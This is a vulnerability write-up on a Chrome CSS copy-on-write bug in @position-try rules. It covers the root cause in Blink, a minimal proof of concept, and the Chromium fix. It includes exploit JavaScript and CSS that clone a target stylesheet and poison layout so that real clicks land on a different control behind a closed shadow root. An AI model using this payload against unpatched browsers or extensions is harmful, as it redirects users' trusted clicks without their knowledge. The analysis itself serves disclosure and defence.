Security Research
When CSS Crosses the Boundary

The Chrome advisory describes CVE-2026-13838 as an “inappropriate implementation in CSS” that could allow a same-origin policy bypass through crafted HTML. That sentence gives the impact but hides the interesting part: a live CSSOM object could survive a stylesheet fork while still pointing into the mutable storage of the stylesheet it had supposedly left behind.
The bug was reported in Chromium issue 514445398 on 18 May 2026 and fixed for Chrome 150. Google published the stable advisory on 30 June. NVD maps it to CWE-346 and scores it 6.5, with integrity as the affected security property.
The public report discusses a possible cross-origin route through Chromium's stylesheet resource cache, but it does not include Google's complete exploit. What can be reproduced cleanly is still useful: one CSSOM assignment in Chrome 149 changes a second stylesheet that JavaScript never touched. The same test stays isolated in Chrome 151.
The bug in one paragraph
Blink avoids parsing identical CSS more than once. Two stylesheets may initially share one immutable StyleSheetContents and the same internal rule objects. The moment JavaScript mutates one sheet, copy-on-write is meant to clone the shared graph and give that sheet isolated private mutable storage. For @position-try , the clone copied a pointer to the old property set, and the persistent rule.style wrapper was not isolated after the fork. The new sheet, the old sheet, and the JavaScript declaration wrapper could therefore converge on the same MutableCSSPropertyValueSet.
That is the primitive. Everything else cache choice, tree scope, useful target, and browser version decides whether it becomes exploitable.
Start with @position-try
@position-try is part of CSS Anchor Positioning. It defines a fallback for an anchored element (<a> tag for example) when its position overflows.

A small rule looks like this:
@position-try --probe {
left: 10px;
}It fallbacks to 10px positioning at left when the original position overflows.
Once parsed, that text appears to JavaScript as a CSSPositionTryRule:
const sheet = document.styleSheets[0];
const rule = sheet.cssRules[0];
console.log(rule.constructor.name); // CSSPositionTryRule
console.log(rule.style === rule.style); // trueThe second line is not an incidental implementation detail. The CSS Anchor Positioning interface style with Web IDL's [SameObject] attribute.

- Figure 2.
styleis read-only as an attribute, but the object it returns is a live, mutable declaration.

- Figure 3.
[SameObject]requires repeated reads on one owner to return the same JavaScript object. Source: Web IDL.
This gives Blink two promises to keep at once. The stylesheet's storage must become private when copy-on-write runs, while any rule.style object already handed to JavaScript must stay alive and continue to refer to the rule's current declarations.
The object path is easier to understand when written from the CSS inward:
@position-try text
↓ parsed as
StyleRulePositionTry
↓ wrapped by
CSSPositionTryRule
↓ rule.style returns
CSSPositionTryDescriptors
↓ reads and writes
MutableCSSPropertyValueSetThe CSSOM wrappers are created lazily. CSSStyleSheet::item() asks an internal rule to create its public wrapper only when script reads the entry. The kPositionTry case in StyleRuleBase::CreateCSSOMWrapper() constructs CSSPositionTryRule. Reading rule.style then creates CSSPositionTryDescriptors and stores it in properties_cssom_wrapper_.

- Figure 4. A
CSSRulewrapper is created whencssRules[index]is first read.
The vulnerable code shape
The original implementation landed with Chromium change 5331723 in March 2024. The dangerous part was not one obviously bad line. It was the interaction between a default copy constructor, mutable property storage, and a partially reattached wrapper.
The relevant header can be reduced to this:
class StyleRulePositionTry final : public StyleRuleBase {
public:
StyleRulePositionTry(const AtomicString&, CSSPropertyValueSet*);
StyleRulePositionTry(const StyleRulePositionTry&) = default;
const CSSPropertyValueSet& Properties() const { return *properties_; }
MutableCSSPropertyValueSet& MutableProperties();
private:
Member<CSSPropertyValueSet> properties_;
};The compiler-generated copy constructor copied the Member<>, so both rules initially referred to the same property-set object.

- Figure 5. The default copy is safe only while the property set remains immutable.
The declaration wrapper completed the bad object graph. This is an abridged version of the affected implementation:
CSSStyleDeclaration* CSSPositionTryRule::style() const {
if (!properties_cssom_wrapper_) {
properties_cssom_wrapper_ =
MakeGarbageCollected<CSSPositionTryDescriptors>(
position_try_rule_->MutableProperties(),
const_cast<CSSPositionTryRule*>(this));
}
return properties_cssom_wrapper_.Get();
}
void CSSPositionTryRule::Reattach(StyleRuleBase* rule) {
position_try_rule_ = To<StyleRulePositionTry>(rule);
}
style() converts the rule's declarations to mutable storage and caches a wrapper over that storage. Later, Reattach()moves the outer CSSPositionTryRule to a cloned internal rule but does nothing to the cached declaration wrapper.

- Figure 6. The outer rule is reattached;
properties_cssom_wrapper_is not.
No corruption is visible while the stylesheet has one owner. The stale pointer matters only after shared stylesheet contents split.
How the shared sheet reaches the bad fork
In the affected tree, StyleEngine::CreateSheet() maintained a per-document text_to_sheet_cache_. Identical inline CSS could reuse one parsed StyleSheetContents. Text shorter than 1,024 characters served directly as the key; longer text was represented by FastHash . Cache reuse also required a matching base URL and a sheet that was still cacheable. The exact pre-fix code is visible in style_engine.cc
This is a normal optimization. It becomes a security problem only if mutable data survives the split:

A and B are distinct CSSStyleSheet owners. S0 is their shared contents, R0 is the shared parsed rule, P0 is the property set, and D0 is the declaration returned by rule.style.
When the setter calls CSSStyleSheet::WillMutateRules(), Blink sees shared contents and clones them. The affected StyleRulePositionTry copy produces R1 → P0, while the old rule still has `R0 → P0`. Reattaching the public rule changes its rule pointer to R1; it does not change D0 → P0. The setter then resumes and writes through D0 into storage still reachable from the other sheet.
The important invariant is not merely “the rule was cloned.” After the fork, no mutable object reachable from A may remain reachable from B. That is the condition the old implementation violated.
Minimal PoC: two sheets and one write
This HTML is enough to detect the bug. It does not need an iframe, a network stylesheet, or two assignments.
On Chrome for Testing 149.0.7827.22, the result is:
{
"first": "20px",
"second": "20px"
}On 151.0.7922.47, the second value remains private:
{
"first": "20px",
"second": "10px"
}This is also why a single write is sufficient. Evaluating firstRule.style materializes the live declaration and makes its backing set mutable. setProperty() then enters WillMutate(), forks the sheet, returns, and finishes the same assignment through the declaration's old property-set pointer. A second write makes the bug easier to reason about on paper, but it is not needed in the affected release. The WPT regression uses the same one-write shape.
What an exploit payload has to provide
The detector above proves aliasing. An exploit needs more structure. In practice, the payload has three jobs.
1. Create a cache twin
The attacker-controlled sheet must take the same sharing path as the target sheet. For the document text cache, that means inserting the exact stylesheet text into the same document and under a compatible base URL:
const mirror = document.createElement("style");
mirror.textContent = knownStylesheetText;
document.documentElement.append(mirror);Matching only the @position-try name is not enough. A declaration such as @position-try --action-left in an otherwise different stylesheet produces a separate parse and no useful alias. Whitespace also matters because the cache is keyed by the stylesheet text, not by a normalized rule list.
2. Reach the live declaration
The page touches only its own sheet:
const rule = [...mirror.sheet.cssRules].find(entry =>
entry.cssText.startsWith("@position-try --action-left")
);
const live = rule.style;That final line is important. It creates the [SameObject] declaration wrapper and changes the internal property set from immutable to mutable before copy-on-write has to split the sheets.
3. Write a descriptor that already has a useful consumer
The mutation must be legal inside @position-try and must affect something styled by the other sheet:
live.setProperty("left", "anchor(left)");On an affected build, the page sees a write to its own rule while Blink also changes the shared property storage used by the target sheet. On a fixed build, the same payload only changes mirror.
Turning the leak into a layout exploit
A closed shadow root makes a useful test boundary. Page script cannot enumerate its elements or read its stylesheet, and an extension content script runs in an isolated JavaScript world with access to APIs the page does not have. Both still belong to the same Document, so their inline sheets pass through the same document style engine.
The target sheet can contain an ordinary anchored control:
.primary {
anchor-name: --action;
position: absolute;
right: 16px;
bottom: 14px;
width: 132px;
height: 38px;
}
.secondary {
position: fixed;
position-anchor: --action;
left: anchor(left);
top: calc(anchor(bottom) + 16px);
position-try-fallbacks: --action-left;
width: 132px;
height: 38px;
z-index: 2;
}
@position-try --action-left {
left: calc(anchor(left) - 148px);
top: anchor(top);
width: 132px;
height: 38px;
}The fallback normally places .secondary 148 pixels to the left of .primary. The page-side payload installs a byte-identical copy of that sheet and changes only the fallback's left descriptor:
const sheet = document.createElement("style");
sheet.textContent = knownStylesheetText;
document.documentElement.append(sheet);
const fallback = [...sheet.sheet.cssRules].find(rule =>
rule.cssText.startsWith("@position-try --action-left")
);
fallback.style.setProperty("left", "anchor(left)");In Chrome 149, the protected sheet observes the new value. The secondary control shifts over the primary control. A real pointer action at the primary control's location can now land on the secondary control instead. The page did not inspect the closed shadow root, call an extension function, or synthesize the event. Its only cross-boundary action was the CSSOM write through its own stylesheet.
This distinction matters when the target rejects synthetic input with event.isTrusted. JavaScript cannot forge that property. Layout poisoning does not forge the click; it changes which real element receives a click that the browser was already going to deliver.
If the JavaScript arrives through an XSS, the XSS is only the delivery mechanism. The browser vulnerability is the write into separately owned stylesheet state. The same payload can live directly in attacker-controlled crafted HTML.
The closed shadow root does not magically reveal knownStylesheetText. The proof assumes that the target CSS is known from a shipped extension bundle or other public resource. Without the exact text or another sharing route the document cache primitive does not start.
The property surface is narrower than it first appears
The original report considers broad CSS mutation and mentions background-image as a possible request primitive. CSSPositionTryRule.style does not accept arbitrary CSS. Its concrete declaration class is CSSPositionTryDescriptors, and every assignment passes through this check:
bool CSSPositionTryDescriptors::IsPropertyValid(
CSSPropertyID property_id) const {
if (property_id == CSSPropertyID::kVariable)
return false;
return CSSProperty::Get(property_id).IsValidForPositionTry();
}
- Figure 7. Custom properties are rejected first; all other properties need Blink's
IsValidForPositionTry()flag. Source: affected Blink source
Insets, margins, width and height constraints, position-area, position-anchor, and self-alignment properties are accepted. background-image, content, colors, fonts, opacity, z-index, pointer-events, and custom properties are rejected.
For @position-try, the reliable primitive is therefore layout poisoning, not general CSS injection. The exploit needs a target whose existing styles already turn a legal positioning change into a security-relevant effect.
Where the public cross-origin story remains incomplete
The public issue suggests poisoning a CORS stylesheet in MemoryCache so another origin in the same renderer consumes the modified data. That is plausible at the level of the ownership bug, but the report does not provide a working navigation and cache sequence. A later Fortify comment also says it did not reproduce the complete route in the environment available to it.
Straightforward boundary tests did not make every shared resource vulnerable. The mutation leaked between two inline sheets in one document, same-origin linked sheets, a same-origin parent and iframe, and the page/closed-shadow arrangement above. A different-origin CORS consumer and a sandboxed opaque-origin frame remained isolated in the tested configuration. Chrome 151 isolated every case.
These negative results do not overturn Google's severity rating. Renderer placement, resource-cache keys, site isolation, and navigation order may be part of the private exploit. They do mean the same-document result should not be relabelled as a reconstructed generic SOP bypass.
How Chromium fixed it
The main repair is change 7865527 , merged on 21 May 2026 as 1f1aba87c6f3a4a9630ceef2b9a1cfbd2049d362 . It closes both mutable paths.
First, StyleRulePositionTry no longer takes the generic copy route. The clone is rebuilt with ImmutableCopyIfNeeded():
case kPositionTry: {
auto* position_try = To<StyleRulePositionTry>(this);
return MakeGarbageCollected<StyleRulePositionTry>(
position_try->Name(),
position_try->Properties().ImmutableCopyIfNeeded());
}
- Figure 8. Mutable declaration data is copied before ownership splits.
Second, the cached declaration wrapper follows the new rule during reattachment:
void CSSPositionTryRule::Reattach(StyleRuleBase* rule) {
position_try_rule_ = To<StyleRulePositionTry>(rule);
if (properties_cssom_wrapper_) {
properties_cssom_wrapper_->Reattach(
position_try_rule_->MutableProperties());
}
}
- Figure 9. The JavaScript object keeps its identity, but its backing store changes to the cloned rule's private properties.*
Either half alone would be incomplete. Copying the property set without reattaching the wrapper leaves JavaScript writing through the old target. Reattaching the wrapper without separating mutable storage leaves the cloned rule sharing data with the cached sheet. The patch restores both the CSSOM identity promise and the copy-on-write isolation promise.
The change also repairs related wrapper-lifetime patterns in @property and @counter-style. A follow-up, change 7865910 , handles the [SameObject] maps exposed by CSSFontFeatureValuesRule. Those rule types were worth auditing, but they do not all expose the same web primitive as @position-try
A clean affected-versus-fixed test
The browser version should be part of the experiment rather than whatever Chrome happens to be installed on the host. Puppeteer 25.1.0 selects Chrome for Testing 149.0.7827.22; Puppeteer 25.4.0 selects 151.0.7922.47. Those mappings are recorded in Puppeteer's 25.1.0 and 25.4.0 revision files.
Running the minimal PoC produces a compact differential:
Chrome 149.0.7827.22 first=20px second=20px shared=true
Chrome 151.0.7922.47 first=20px second=10px shared=false
That comparison is more useful than a crash or a version-string check. It measures the exact isolation property repaired by the patch.
Disclosure and issue history
- Chrome Stable Channel Update for Desktop — 30 June 2026
- Chromium issue 514445398 — broken copy-on-write in
CSSPositionTryRuleand related rules - NVD entry for CVE-2026-13838
- Chromium issue 514906337 — cloning
@position-tryrules does not clone the styles
Standards
- CSS Anchor Positioning Level 1 —
@position-tryrule - CSSOM interface for
CSSPositionTryRule - Web IDL —
[SameObject] - Chrome Extensions — Content scripts and isolated worlds
Affected implementation
- Original
@position-tryparser and CSSOM change - Pre-fix
css_position_try_rule.h - Pre-fix
css_position_try_rule.cc - Pre-fix inline stylesheet cache in
style_engine.cc - Pre-fix copy-on-write path in
css_style_sheet.cc CSSPositionTryDescriptors::IsPropertyValid()
Fix and regression coverage
- Main fix: Chromium change 7865527
- Merged fix commit
- WPT regression for mutating one of two identical
@position-trysheets CSSFontFeatureValuesRulefollow-up
Closing note
CVE-2026-13838 is not a parser trick and not a collision between two named CSS rules. It is an ownership failure: Blink correctly decided to fork shared stylesheet contents, then left two mutable roads leading back to the same declarations.
The smallest proof needs two identical sheets and one write. The more interesting proof places the second sheet behind a closed shadow root and turns the leaked descriptor into a layout change that redirects a real click. That does not reconstruct Google's private cross-origin chain, but it shows exactly how a quiet copy-on-write bug can cross a boundary that the surrounding JavaScript cannot.